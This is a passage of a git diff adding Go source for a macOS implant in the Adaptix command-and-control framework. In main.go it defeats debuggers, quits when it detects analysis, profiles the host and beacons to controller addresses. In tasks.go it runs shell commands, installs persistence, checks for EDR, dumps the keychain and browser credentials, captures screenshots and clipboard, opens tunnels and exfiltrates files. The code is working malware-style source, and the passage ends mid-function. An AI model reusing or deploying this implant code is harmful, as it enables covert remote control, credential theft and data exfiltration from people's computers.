} + + if err != nil { + return "", fmt.Errorf("sqlite3 query failed: %s\n%s", err.Error(), string(out)) + } + + return fmt.Sprintf("Firefox %s (top 100):\n%s", target, string(out)), nil +} + +func formatSize(bytes int64) string { + const ( + KB = 1024.0 + MB = KB * 1024 + ) + if float64(bytes) >= MB { + return fmt.Sprintf("%.1f MB", float64(bytes)/MB) + } + return fmt.Sprintf("%.1f KB", float64(bytes)/KB) +} diff --git a/AdaptixServer/extenders/macos_agent/src_macos/go.mod b/AdaptixServer/extenders/macos_agent/src_macos/go.mod new file mode 100644 index 000000000..f0e7e56c9 --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/src_macos/go.mod @@ -0,0 +1,11 @@ +module macos_agent + +go 1.25.4 + +require ( + github.com/creack/pty v1.1.24 + github.com/vmihailenco/msgpack/v5 v5.4.1 + howett.net/plist v1.0.1 +) + +require github.com/vmihailenco/tagparser/v2 v2.0.0 // indirect diff --git a/AdaptixServer/extenders/macos_agent/src_macos/go.sum b/AdaptixServer/extenders/macos_agent/src_macos/go.sum new file mode 100644 index 000000000..17b6cced1 --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/src_macos/go.sum @@ -0,0 +1,19 @@ +github.com/creack/pty v1.1.24 h1:bJrF4RRfyJnbTJqzRLHzcGaZK1NeM5kTC9jGgovnR1s= +github.com/creack/pty v1.1.24/go.mod h1:08sCNb52WyoAwi2QDyzUCTgcvVFhUzewun7wtTfvcwE= +github.com/davecgh/go-spew v1.1.0 h1:ZDRjVQ15GmhC3fiQ8ni8+OwkZQO4DARzQgrnXU1Liz8= +github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= +github.com/jessevdk/go-flags v1.4.0/go.mod h1:4FA24M0QyGHXBuZZK/XkWh8h0e1EYbRYJSGM75WSRxI= +github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= +github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= +github.com/stretchr/testify v1.6.1 h1:hDPOHmpOpP40lSULcqw7IrRb/u7w6RpDC9399XyoNd0= +github.com/stretchr/testify v1.6.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= +github.com/vmihailenco/msgpack/v5 v5.4.1 h1:cQriyiUvjTwOHg8QZaPihLWeRAAVoCpE00IUPn0Bjt8= +github.com/vmihailenco/msgpack/v5 v5.4.1/go.mod h1:GaZTsDaehaPpQVyxrf5mtQlH+pc21PIudVV/E3rRQok= +github.com/vmihailenco/tagparser/v2 v2.0.0 h1:y09buUbR+b5aycVFQs/g70pqKVZNBmxwAhO7/IwNM9g= +github.com/vmihailenco/tagparser/v2 v2.0.0/go.mod h1:Wri+At7QHww0WTrCBeu4J6bNtoV6mEfg5OIWRZA9qds= +gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= +gopkg.in/yaml.v1 v1.0.0-20140924161607-9f9df34309c0/go.mod h1:WDnlLJ4WF5VGsH/HVa3CI79GS0ol3YnhVnKP89i0kNg= +gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c h1:dUUwHk2QECo/6vqA44rthZ8ie2QXMNeKRTHCNY2nXvo= +gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= +howett.net/plist v1.0.1 h1:37GdZ8tP09Q35o9ych3ehygcsL+HqKSwzctveSlarvM= +howett.net/plist v1.0.1/go.mod h1:lqaXoTrLY4hg8tnEzNru53gicrbv7rrk+2xJA/7hw9g= diff --git a/AdaptixServer/extenders/macos_agent/src_macos/main.go b/AdaptixServer/extenders/macos_agent/src_macos/main.go new file mode 100644 index 000000000..7ce7bd110 --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/src_macos/main.go @@ -0,0 +1,238 @@ +package main + +import ( + "crypto/rand" + "crypto/tls" + "crypto/x509" + "encoding/binary" + "macos_agent/functions" + "macos_agent/utils" + "net" + "os" + "os/user" + "path/filepath" + "runtime" + "time" + + "github.com/vmihailenco/msgpack/v5" +) + +var ACTIVE = true + +func CreateInfo() ([]byte, []byte) { + var ( + addr []net.Addr + username string + ip string + ) + + path, err := os.Executable() + if err == nil { + path = filepath.Base(path) + } + + userCurrent, err := user.Current() + if err == nil { + username = userCurrent.Username + } + + host, _ := os.Hostname() + + osVersion, _ := functions.GetOsVersion() + + addr, err = net.InterfaceAddrs() + if err == nil { + for _, a := range addr { + ipnet, ok := a.(*net.IPNet) + if ok && !ipnet.IP.IsLoopback() && !ipnet.IP.IsLinkLocalUnicast() && ipnet.IP.To4() != nil { + ip = ipnet.IP.String() + } + } + } + + acp, oemcp := functions.GetCP() + + randKey := make([]byte, 16) + _, _ = rand.Read(randKey) + + info := utils.SessionInfo{ + Process: path, + PID: os.Getpid(), + User: username, + Host: host, + Ipaddr: ip, + Elevated: functions.IsElevated(), + Acp: acp, + Oem: oemcp, + Os: runtime.GOOS, + OSVersion: osVersion, + EncryptKey: randKey, + } + + data, _ := msgpack.Marshal(info) + + return data, randKey +} + +var profiles []utils.Profile +var encKeys [][]byte +var profileIndex int +var profile utils.Profile +var AgentId uint32 +var encKey []byte + +func main() { + + // OPSEC: Anti-debug — prevent debugger attachment + functions.DenyDebugger() + utils.DebugLog("anti-debug: PT_DENY_ATTACH applied") + + // OPSEC: Bail out if analysis environment detected + if functions.IsDebuggerPresent() || functions.IsAnalysisEnvironment() { + utils.DebugLog("analysis environment detected, exiting") + return + } + utils.DebugLog("OPSEC checks passed") + + for _, encProfile := range encProfiles { + key := make([]byte, 16) + copy(key, encProfile[:16]) + encData := encProfile[16:] + decData, err := utils.DecryptData(encData, key) + if err != nil { + continue + } + + var p utils.Profile + err = msgpack.Unmarshal(decData, &p) + if err != nil { + continue + } + + profiles = append(profiles, p) + encKeys = append(encKeys, key) + } + + if len(profiles) == 0 { + utils.DebugLog("no valid profiles, exiting") + return + } + utils.DebugLog("loaded %d profile(s)", len(profiles)) + + profileIndex = 0 + profile = profiles[profileIndex] + encKey = encKeys[profileIndex] + + sessionInfo, sessionKey := CreateInfo() + utils.SKey = sessionKey + + r := make([]byte, 4) + _, _ = rand.Read(r) + AgentId = binary.BigEndian.Uint32(r) + + initData, _ := msgpack.Marshal(utils.InitPack{Id: uint(AgentId), Type: profile.Type, Data: sessionInfo}) + initMsg, _ := msgpack.Marshal(utils.StartMsg{Type: utils.INIT_PACK, Data: initData}) + initMsg, _ = utils.EncryptData(initMsg, encKey) + + UPLOADS = make(map[string][]byte) + DOWNLOADS = make(map[string]utils.Connection) + JOBS = make(map[string]utils.Connection) + + addrIndex := 0 + for i := 0; i < profile.ConnCount && ACTIVE; i++ { + if i > 0 { + time.Sleep(time.Duration(profile.ConnTimeout) * time.Second) + addrIndex++ + if addrIndex >= len(profile.Addresses) { + addrIndex = 0 + profileIndex = (profileIndex + 1) % len(profiles) + profile = profiles[profileIndex] + encKey = encKeys[profileIndex] + initData, _ = msgpack.Marshal(utils.InitPack{Id: uint(AgentId), Type: profile.Type, Data: sessionInfo}) + initMsg, _ = msgpack.Marshal(utils.StartMsg{Type: utils.INIT_PACK, Data: initData}) + initMsg, _ = utils.EncryptData(initMsg, encKey) + } + } + + ///// Connect + + var ( + err error + conn net.Conn + ) + + if profile.UseSSL { + cert, certerr := tls.X509KeyPair(profile.SslCert, profile.SslKey) + if certerr != nil { + continue + } + + caCertPool := x509.NewCertPool() + caCertPool.AppendCertsFromPEM(profile.CaCert) + + config := &tls.Config{ + Certificates: []tls.Certificate{cert}, + RootCAs: caCertPool, + InsecureSkipVerify: true, + } + conn, err = tls.Dial("tcp", profile.Addresses[addrIndex], config) + + } else { + conn, err = net.Dial("tcp", profile.Addresses[addrIndex]) + } + if err != nil { + utils.DebugLog("connect failed: %v", err) + continue + } else { + utils.DebugLog("connected to %s", profile.Addresses[addrIndex]) + i = 0 + } + + /// Recv Banner + if profile.BannerSize > 0 { + _, err := functions.ConnRead(conn, profile.BannerSize) + if err != nil { + continue + } + } + + /// Send Init + _ = functions.SendMsg(conn, initMsg) + + /// Recv Command + + var ( + inMessage utils.Message + outMessage utils.Message + recvData []byte + sendData []byte + ) + + for ACTIVE { + recvData, err = functions.RecvMsg(conn) + if err != nil { + break + } + + outMessage = utils.Message{Type: 0} + recvData, err = utils.DecryptData(recvData, sessionKey) + if err != nil { + break + } + + err = msgpack.Unmarshal(recvData, &inMessage) + if err != nil { + break + } + + if inMessage.Type == 1 { + outMessage.Type = 1 + outMessage.Object = TaskProcess(inMessage.Object) + } + + sendData, _ = msgpack.Marshal(outMessage) + sendData, _ = utils.EncryptData(sendData, sessionKey) + _ = functions.SendMsg(conn, sendData) + } + } +} diff --git a/AdaptixServer/extenders/macos_agent/src_macos/tasks.go b/AdaptixServer/extenders/macos_agent/src_macos/tasks.go new file mode 100644 index 000000000..d2440d4d0 --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/src_macos/tasks.go @@ -0,0 +1,1422 @@ +package main + +import ( + "bytes" + "context" + "crypto/aes" + "crypto/cipher" + "crypto/rand" + "crypto/tls" + "crypto/x509" + "errors" + "fmt" + "io" + "macos_agent/functions" + "macos_agent/utils" + "net" + "os" + "os/exec" + "strconv" + "sync" + "sync/atomic" + "syscall" + "time" + + "github.com/vmihailenco/msgpack/v5" +) + +var UPLOADS map[string][]byte +var DOWNLOADS map[string]utils.Connection +var JOBS map[string]utils.Connection +var TUNNELS sync.Map +var TERMINALS sync.Map + +type TunnelController struct { + Cancel context.CancelFunc + Paused atomic.Bool +} + +func TaskProcess(commands [][]byte) [][]byte { + var ( + command utils.Command + data []byte + result [][]byte + err error + ) + + for _, cmdBytes := range commands { + err = msgpack.Unmarshal(cmdBytes, &command) + if err != nil { + continue + } + + switch command.Code { + + case utils.COMMAND_DOWNLOAD: + data, err = jobDownloadStart(command.Data) + + case utils.COMMAND_CAT: + data, err = taskCat(command.Data) + + case utils.COMMAND_CD: + data, err = taskCd(command.Data) + + case utils.COMMAND_CP: + data, err = taskCp(command.Data) + + case utils.COMMAND_EXIT: + data, err = taskExit() + + case utils.COMMAND_JOB_LIST: + data, err = taskJobList() + + case utils.COMMAND_JOB_KILL: + data, err = taskJobKill(command.Data) + + case utils.COMMAND_KILL: + data, err = taskKill(command.Data) + + case utils.COMMAND_LS: + data, err = taskLs(command.Data) + + case utils.COMMAND_MKDIR: + data, err = taskMkdir(command.Data) + + case utils.COMMAND_MV: + data, err = taskMv(command.Data) + + case utils.COMMAND_PS: + data, err = taskPs() + + case utils.COMMAND_PWD: + data, err = taskPwd() + + case utils.COMMAND_RM: + data, err = taskRm(command.Data) + + case utils.COMMAND_RUN: + data, err = jobRun(command.Data) + + case utils.COMMAND_SHELL: + data, err = taskShell(command.Data) + + case utils.COMMAND_SCREENSHOT: + data, err = taskScreenshot() + + case utils.COMMAND_CLIPBOARD: + data, err = taskClipboard() + + case utils.COMMAND_PERSIST: + data, err = taskPersist(command.Data) + + case utils.COMMAND_TCC_CHECK: + data, err = taskTccCheck() + + case utils.COMMAND_DEFAULTS: + data, err = taskDefaults(command.Data) + + case utils.COMMAND_EDR_CHECK: + data, err = taskEdrCheck() + + case utils.COMMAND_KEYCHAIN: + data, err = taskKeychain(command.Data) + + case utils.COMMAND_BROWSER_DUMP: + data, err = taskBrowserDump(command.Data) + + case utils.COMMAND_TERMINAL_START: + jobTerminal(command.Data) + + case utils.COMMAND_TERMINAL_STOP: + taskTerminalKill(command.Data) + + case utils.COMMAND_TUNNEL_START: + jobTunnel(command.Data) + + case utils.COMMAND_TUNNEL_STOP: + taskTunnelKill(command.Data) + + case utils.COMMAND_TUNNEL_PAUSE: + taskTunnelPause(command.Data) + + case utils.COMMAND_TUNNEL_RESUME: + taskTunnelResume(command.Data) + + case utils.COMMAND_UPLOAD: + data, err = taskUpload(command.Data) + + case utils.COMMAND_ZIP: + data, err = taskZip(command.Data) + + default: + continue + } + + if err != nil { + command.Code = utils.COMMAND_ERROR + command.Data, _ = msgpack.Marshal(utils.AnsError{Error: err.Error()}) + } else { + command.Data = data + } + + packerData, _ := msgpack.Marshal(command) + result = append(result, packerData) + } + + return result +} + +/// TASKS + +func taskCat(paramsData []byte) ([]byte, error) { + var params utils.ParamsCat + err := msgpack.Unmarshal(paramsData, ¶ms) + if err != nil { + return nil, err + } + + path, err := functions.NormalizePath(params.Path) + if err != nil { + return nil, err + } + + fileInfo, err := os.Stat(path) + if err != nil { + return nil, err + } + if fileInfo.Size() > 0x100000 { + return nil, fmt.Errorf("file size exceeds 1 Mb (use download)") + } + + content, err := os.ReadFile(path) + if err != nil { + return nil, err + } + + return msgpack.Marshal(utils.AnsCat{Path: params.Path, Content: content}) +} + +func taskCd(paramsData []byte) ([]byte, error) { + var params utils.ParamsCd + err := msgpack.Unmarshal(paramsData, ¶ms) + if err != nil { + return nil, err + } + + path, err := functions.NormalizePath(params.Path) + if err != nil { + return nil, err + } + + err = os.Chdir(path) + if err != nil { + return nil, err + } + + newPath, err := os.Getwd() + if err != nil { + return nil, err + } + + return msgpack.Marshal(utils.AnsPwd{Path: newPath}) +} + +func taskCp(paramsData []byte) ([]byte, error) { + var params utils.ParamsCp + err := msgpack.Unmarshal(paramsData, ¶ms) + if err != nil { + return nil, err + } + + srcPath, err := functions.NormalizePath(params.Src) + if err != nil { + return nil, err + } + dstPath, err := functions.NormalizePath(params.Dst) + if err != nil { + return nil, err + } + + info, err := os.Stat(srcPath) + if err != nil { + return nil, err + } + + if info.IsDir() { + err = functions.CopyDir(srcPath, dstPath) + } else { + err = functions.CopyFile(srcPath, dstPath, info) + } + + return nil, err +} + +func taskExit() ([]byte, error) { + ACTIVE = false + return nil, nil +} + +func taskJobList() ([]byte, error) { + + var jobList []utils.JobInfo + for k, v := range DOWNLOADS { + jobList = append(jobList, utils.JobInfo{JobId: k, JobType: v.PackType}) + } + for k, v := range JOBS { + jobList = append(jobList, utils.JobInfo{JobId: k, JobType: v.PackType}) + } + + list, _ := msgpack.Marshal(jobList) + + return msgpack.Marshal(utils.AnsJobList{List: list}) +} + +func taskJobKill(paramsData []byte) ([]byte, error) { + var params utils.ParamsJobKill + err := msgpack.Unmarshal(paramsData, ¶ms) + if err != nil { + return nil, err + } + + job, ok := DOWNLOADS[params.Id] + if !ok { + job, ok = JOBS[params.Id] + if !ok { + return nil, fmt.Errorf("job '%s' not found", params.Id) + } + } + + if job.JobCancel != nil { + job.JobCancel() + } + + job.HandleCancel() + + return nil, nil +} + +func taskKill(paramsData []byte) ([]byte, error) { + var params utils.ParamsKill + err := msgpack.Unmarshal(paramsData, ¶ms) + if err != nil { + return nil, err + } + + proc, err := os.FindProcess(params.Pid) + if err != nil { + return nil, err + } + + err = proc.Signal(syscall.SIGKILL) + return nil, err +} + +func taskLs(paramsData []byte) ([]byte, error) { + var params utils.ParamsLs + err := msgpack.Unmarshal(paramsData, ¶ms) + if err != nil { + return nil, err + } + + path, err := functions.NormalizePath(params.Path) + if err != nil { + return nil, err + } + + Files, err := functions.GetListing(path) + if err != nil { + return msgpack.Marshal(utils.AnsLs{Result: false, Status: err.Error(), Path: path, Files: nil}) + } + + filesData, _ := msgpack.Marshal(Files) + + return msgpack.Marshal(utils.AnsLs{Result: true, Path: path, Files: filesData}) +} + +func taskMkdir(paramsData []byte) ([]byte, error) { + var params utils.ParamsMkdir + err := msgpack.Unmarshal(paramsData, ¶ms) + if err != nil { + return nil, err + } + + path, err := functions.NormalizePath(params.Path) + if err != nil { + return nil, err + } + + mode := os.FileMode(0755) + err = os.MkdirAll(path, mode) + + return nil, err +} + +func taskMv(paramsData []byte) ([]byte, error) { + var params utils.ParamsMv + err := msgpack.Unmarshal(paramsData, ¶ms) + if err != nil { + return nil, err + } + + srcPath, err := functions.NormalizePath(params.Src) + if err != nil { + return nil, err + } + dstPath, err := functions.NormalizePath(params.Dst) + if err != nil { + return nil, err + } + + err = os.Rename(srcPath, dstPath) + if err == nil { + return nil, nil + } + + info, err := os.Stat(srcPath) + if err != nil { + return nil, err + } + + if info.IsDir() { + err = functions.CopyDir(srcPath, dstPath) + if err == nil { + _ = os.RemoveAll(srcPath) + } + } else { + err = functions.CopyFile(srcPath, dstPath, info) + if err == nil { + _ = os.Remove(srcPath) + } + } + return nil, err +} + +func taskPs() ([]byte, error) { + Processes, err := functions.GetProcesses() + if err != nil { + return nil, err + } + + processesData, _ := msgpack.Marshal(Processes) + + return msgpack.Marshal(utils.AnsPs{Result: true, Processes: processesData}) +} + +func taskPwd() ([]byte, error) { + path, err := os.Getwd() + if err != nil { + return nil, err + } + + return msgpack.Marshal(utils.AnsPwd{Path: path}) +} + +func taskRm(paramsData []byte) ([]byte, error) { + var params utils.ParamsRm + err := msgpack.Unmarshal(paramsData, ¶ms) + if err != nil { + return nil, err + } + + path, err := functions.NormalizePath(params.Path) + if err != nil { + return nil, err + } + + info, err := os.Stat(path) + if err != nil { + return nil, err + } + if info.IsDir() { + err = os.RemoveAll(path) + } else { + err = os.Remove(path) + } + return nil, err +} + +func taskScreenshot() ([]byte, error) { + screenshot, err := functions.Screenshots() + if err != nil { + return nil, err + } + + screens := make([][]byte, 0) + for _, pic := range screenshot { + screens = append(screens, pic) + } + + return msgpack.Marshal(utils.AnsScreenshots{Screens: screens}) +} + +func taskClipboard() ([]byte, error) { + content, err := functions.GetClipboard() + if err != nil { + return nil, err + } + return msgpack.Marshal(utils.AnsShell{Output: content}) +} + +func taskPersist(paramsData []byte) ([]byte, error) { + var params utils.ParamsPersist + err := msgpack.Unmarshal(paramsData, ¶ms) + if err != nil { + return nil, err + } + + var output string + switch params.Action { + case "install": + output, err = functions.PersistInstall(params.Method, params.Name) + case "remove": + output, err = functions.PersistRemove(params.Method, params.Name) + case "status": + output, err = functions.PersistStatus() + default: + return nil, fmt.Errorf("unknown persist action: %s", params.Action) + } + if err != nil { + return nil, err + } + return msgpack.Marshal(utils.AnsPersist{Output: output}) +} + +func taskTccCheck() ([]byte, error) { + output, err := functions.TccCheck() + if err != nil { + return nil, err + } + return msgpack.Marshal(utils.AnsShell{Output: output}) +} + +func taskDefaults(paramsData []byte) ([]byte, error) { + var params utils.ParamsDefaults + err := msgpack.Unmarshal(paramsData, ¶ms) + if err != nil { + return nil, err + } + output, err := functions.DefaultsRead(params.Domain) + if err != nil { + return nil, err + } + return msgpack.Marshal(utils.AnsShell{Output: output}) +} + +func taskEdrCheck() ([]byte, error) { + output, err := functions.EdrCheck() + if err != nil { + return nil, err + } + return msgpack.Marshal(utils.AnsShell{Output: output}) +} + +func taskKeychain(paramsData []byte) ([]byte, error) { + var params utils.ParamsKeychain + err := msgpack.Unmarshal(paramsData, ¶ms) + if err != nil { + return nil, err + } + + var output string + switch params.Action { + case "list": + output, err = functions.KeychainList() + case "dump": + output, err = functions.KeychainDump() + default: + return nil, fmt.Errorf("unknown keychain action: %s", params.Action) + } + if err != nil { + return nil, err + } + return msgpack.Marshal(utils.AnsShell{Output: output}) +} + +func taskBrowserDump(paramsData []byte) ([]byte, error) { + var params utils.ParamsBrowserDump + err := msgpack.Unmarshal(paramsData, ¶ms) + if err != nil { + return nil, err + } + + var output string + switch params.Browser { + case "chrome": + output, err = functions.BrowserDumpChrome(params.Target) + case "firefox": + output, err = functions.BrowserDumpFirefox(params.Target) + default: + return nil, fmt.Errorf("unknown browser: %s (use chrome or firefox)", params.Browser) + } + if err != nil { + return nil, err + } + return msgpack.Marshal(utils.AnsShell{Output: output}) +} + +func taskShell(paramsData []byte) ([]byte, error) { + var params utils.ParamsShell + err := msgpack.Unmarshal(paramsData, ¶ms) + if err != nil { + return nil, err + } + + cmd := exec.Command(params.Program, params.Args...) + functions.ProcessSettings(cmd) + output, _ := cmd.CombinedOutput() + + return msgpack.Marshal(utils.AnsShell{Output: string(output)}) +} + +func taskTerminalKill(paramsData []byte) { + var params utils.ParamsTerminalStop + err := msgpack.Unmarshal(paramsData, ¶ms) + if err != nil { + return + } + + value, ok := TERMINALS.Load(params.TermId) + if ok { + cancel, ok := value.(context.CancelFunc) + if ok { + cancel() + } + } +} + +func taskTunnelKill(paramsData []byte) { + var params utils.ParamsTunnelStop + err := msgpack.Unmarshal(paramsData, ¶ms) + if err != nil { + return + } + + value, ok := TUNNELS.Load(params.ChannelId) + if ok { + ctrl, ok := value.(*TunnelController) + if ok { + ctrl.Cancel() + } + } +} + +func taskTunnelPause(paramsData []byte) { + var params utils.ParamsTunnelPause + err := msgpack.Unmarshal(paramsData, ¶ms) + if err != nil { + return + } + + value, ok := TUNNELS.Load(params.ChannelId) + if ok { + ctrl, ok := value.(*TunnelController) + if ok { + ctrl.Paused.Store(true) + } + } +} + +func taskTunnelResume(paramsData []byte) { + var params utils.ParamsTunnelResume + err := msgpack.Unmarshal(paramsData, ¶ms) + if err != nil { + return + } + + value, ok := TUNNELS.Load(params.ChannelId) + if ok { + ctrl, ok := value.(*TunnelController) + if ok { + ctrl.Paused.Store(false) + } + } +} + +func taskUpload(paramsData []byte) ([]byte, error) { + var params utils.ParamsUpload + err := msgpack.Unmarshal(paramsData, ¶ms) + if err != nil { + return nil, err + } + + path, err := functions.NormalizePath(params.Path) + if err != nil { + return nil, err + } + + uploadBytes, ok := UPLOADS[path] + if !ok { + uploadBytes = params.Content + } else { + delete(UPLOADS, path) + uploadBytes = append(uploadBytes, params.Content...) + } + + if params.Finish { + files, err := functions.UnzipBytes(uploadBytes) + if err != nil { + return nil, err + } + + content, ok := files[params.Path] + if !ok { + return nil, errors.New("file not uploaded") + } + + err = os.WriteFile(path, content, 0644) + if err != nil { + return nil, err + } + + } else { + UPLOADS[path] = uploadBytes + return nil, nil + } + + return msgpack.Marshal(utils.AnsUpload{Path: path}) +} + +func taskZip(paramsData []byte) ([]byte, error) { + var params utils.ParamsZip + err := msgpack.Unmarshal(paramsData, ¶ms) + if err != nil { + return nil, err + } + + srcPath, err := functions.NormalizePath(params.Src) + if err != nil { + return nil, err + } + dstPath, err := functions.NormalizePath(params.Dst) + if err != nil { + return nil, err + } + + info, err := os.Stat(srcPath) + if err != nil { + return nil, err + } + + var content []byte + if info.IsDir() { + content, err = functions.ZipDirectory(srcPath) + } else { + content, err = functions.ZipFile(srcPath) + } + if err != nil { + return nil, err + } + + err = os.WriteFile(dstPath, content, 0644) + if err != nil { + return nil, err + } + + return msgpack.Marshal(utils.AnsZip{Path: dstPath}) +} + +/// JOBS + +func jobDownloadStart(paramsData []byte) ([]byte, error) { + var params utils.ParamsDownload + err := msgpack.Unmarshal(paramsData, ¶ms) + if err != nil { + return nil, err + } + + path, err := functions.NormalizePath(params.Path) + if err != nil { + return nil, err + } + + info, err := os.Stat(path) + if err != nil { + return nil, err + } + + size := info.Size() + + if size > 4*1024*1024*1024 { + return nil, errors.New("file too big (>4GB)") + } + + var content []byte + if info.IsDir() { + content, err = functions.ZipDirectory(path) + path += ".zip" + } else { + content, err = os.ReadFile(path) + } + if err != nil { + return nil, err + } + + var conn net.Conn + if profile.UseSSL { + cert, certerr := tls.X509KeyPair(profile.SslCert, profile.SslKey) + if certerr != nil { + return nil, err + } + + caCertPool := x509.NewCertPool() + caCertPool.AppendCertsFromPEM(profile.CaCert) + + config := &tls.Config{ + Certificates: []tls.Certificate{cert}, + RootCAs: caCertPool, + InsecureSkipVerify: true, + } + conn, err = tls.Dial("tcp", profile.Addresses[0], config) + + } else { + conn, err = net.Dial("tcp", profile.Addresses[0]) + } + if err != nil { + return nil, err + } + + strFileId := params.Task + FileId, _ := strconv.ParseInt(strFileId, 16, 64) + + connection := utils.Connection{ + PackType: utils.EXFIL_PACK, + Conn: conn, + } + connection.Ctx, connection.HandleCancel = context.WithCancel(context.Background()) + DOWNLOADS[strFileId] = connection + + go func() { + defer func() { + connection.HandleCancel() + _ = conn.Close() + delete(DOWNLOADS, strFileId) + }() + + exfilPack, _ := msgpack.Marshal(utils.ExfilPack{Id: uint(AgentId), Type: profile.Type, Task: params.Task}) + exfilMsg, _ := msgpack.Marshal(utils.StartMsg{Type: utils.EXFIL_PACK, Data: exfilPack}) + exfilMsg, _ = utils.EncryptData(exfilMsg, encKey) + + job := utils.Job{ + CommandId: utils.COMMAND_DOWNLOAD, + JobId: params.Task, + } + + /// Recv Banner + if profile.BannerSize > 0 { + _, err := functions.ConnRead(conn, profile.BannerSize) + if err != nil { + return + } + } + + /// Send Init + _ = functions.SendMsg(conn, exfilMsg) + + chunkSize := 0x100000 // 1MB + totalSize := len(content) + for i := 0; i < totalSize; i += chunkSize { + + end := i + chunkSize + if end > totalSize { + end = totalSize + } + start := i == 0 + finish := end == totalSize + + canceled := false + + select { + case <-connection.Ctx.Done(): + finish = true + canceled = true + default: + } + + job.Data, _ = msgpack.Marshal(utils.AnsDownload{FileId: int(FileId), Path: path, Content: content[i:end], Size: len(content), Start: start, Finish: finish, Canceled: canceled}) + packedJob, _ := msgpack.Marshal(job) + + message := utils.Message{ + Type: 2, + Object: [][]byte{packedJob}, + } + + sendData, _ := msgpack.Marshal(message) + sendData, _ = utils.EncryptData(sendData, utils.SKey) + _ = functions.SendMsg(conn, sendData) + + if finish { + break + } + time.Sleep(time.Millisecond * 100) + } + }() + + return nil, nil +} + +func jobRun(paramsData []byte) ([]byte, error) { + var params utils.ParamsRun + err := msgpack.Unmarshal(paramsData, ¶ms) + if err != nil { + return nil, err + } + + procCtx, procCancel := context.WithCancel(context.Background()) + cmd := exec.CommandContext(procCtx, params.Program, params.Args...) + functions.ProcessSettings(cmd) + stdoutPipe, err := cmd.StdoutPipe() + if err != nil { + procCancel() + return nil, fmt.Errorf("stdout pipe error: %w", err) + } + stderrPipe, err := cmd.StderrPipe() + if err != nil { + procCancel() + return nil, fmt.Errorf("stderr pipe error: %w", err) + } + + var stdoutMu sync.Mutex + var stderrMu sync.Mutex + stdoutBuf := new(bytes.Buffer) + stderrBuf := new(bytes.Buffer) + + err = cmd.Start() + if err != nil { + procCancel() + return nil, fmt.Errorf("start error: %w", err) + } + pid := 0 + if cmd.Process != nil { + pid = cmd.Process.Pid + } + + var conn net.Conn + if profile.UseSSL { + cert, certerr := tls.X509KeyPair(profile.SslCert, profile.SslKey) + if certerr != nil { + procCancel() + return nil, err + } + + caCertPool := x509.NewCertPool() + caCertPool.AppendCertsFromPEM(profile.CaCert) + + config := &tls.Config{ + Certificates: []tls.Certificate{cert}, + RootCAs: caCertPool, + InsecureSkipVerify: true, + } + conn, err = tls.Dial("tcp", profile.Addresses[0], config) + + } else { + conn, err = net.Dial("tcp", profile.Addresses[0]) + } + if err != nil { + procCancel() + return nil, err + } + + connection := utils.Connection{ + PackType: utils.JOB_PACK, + Conn: conn, + JobCancel: procCancel, + } + connection.Ctx, connection.HandleCancel = context.WithCancel(context.Background()) + JOBS[params.Task] = connection + + go func() { + defer func() { + procCancel() + connection.HandleCancel() + _ = conn.Close() + delete(JOBS, params.Task) + }() + + jobPack, _ := msgpack.Marshal(utils.JobPack{Id: uint(AgentId), Type: profile.Type, Task: params.Task}) + jobMsg, _ := msgpack.Marshal(utils.StartMsg{Type: utils.JOB_PACK, Data: jobPack}) + jobMsg, _ = utils.EncryptData(jobMsg, encKey) + + /// Recv Banner + if profile.BannerSize > 0 { + _, err := functions.ConnRead(conn, profile.BannerSize) + if err != nil { + return + } + } + + /// Send Init + functions.SendMsg(conn, jobMsg) + + job := utils.Job{ + CommandId: utils.COMMAND_RUN, + JobId: params.Task, + } + + job.Data, _ = msgpack.Marshal(utils.AnsRun{Pid: pid, Start: true}) + packedJob, _ := msgpack.Marshal(job) + + message := utils.Message{ + Type: 2, + Object: [][]byte{packedJob}, + } + + sendData, _ := msgpack.Marshal(message) + sendData, _ = utils.EncryptData(sendData, utils.SKey) + functions.SendMsg(conn, sendData) + + var wg sync.WaitGroup + wg.Add(2) + + go func() { + defer wg.Done() + buf := make([]byte, 2*1024) + for { + n, err := stdoutPipe.Read(buf) + if n > 0 { + stdoutMu.Lock() + stdoutBuf.Write(buf[:n]) + stdoutMu.Unlock() + } + if err == io.EOF { + break + } + if err != nil { + break + } + } + }() + go func() { + defer wg.Done() + buf := make([]byte, 2*1024) + for { + n, err := stderrPipe.Read(buf) + if n > 0 { + stderrMu.Lock() + stderrBuf.Write(buf[:n]) + stderrMu.Unlock() + } + if err == io.EOF { + break + } + if err != nil { + break + } + } + }() + + done := make(chan struct{}) + var lastOutLen, lastErrLen int + const maxChunkSize = 0x10000 // 65 Kb + go func() { + ticker := time.NewTicker(1 * time.Second) + defer ticker.Stop() + for { + select { + case <-done: + return + + case <-ticker.C: + ansRun := utils.AnsRun{Pid: pid} + stdoutMu.Lock() + out := stdoutBuf.String() + stdoutMu.Unlock() + if len(out) > lastOutLen { + chunk := out[lastOutLen:] + if len(chunk) > maxChunkSize { + ansRun.Stdout = chunk[:maxChunkSize] + lastOutLen += maxChunkSize + } else { + ansRun.Stdout = chunk + lastOutLen = len(out) + } + } + + stderrMu.Lock() + errOut := stderrBuf.String() + stderrMu.Unlock() + if len(errOut) > lastErrLen { + chunk := errOut[lastErrLen:] + if len(chunk) > maxChunkSize { + ansRun.Stderr = chunk[:maxChunkSize] + lastErrLen += maxChunkSize + } else { + ansRun.Stderr = chunk + lastErrLen = len(errOut) + } + } + + if len(ansRun.Stdout) > 0 || len(ansRun.Stderr) > 0 { + job.Data, _ = msgpack.Marshal(ansRun) + packedJob, _ := msgpack.Marshal(job) + + message := utils.Message{ + Type: 2, + Object: 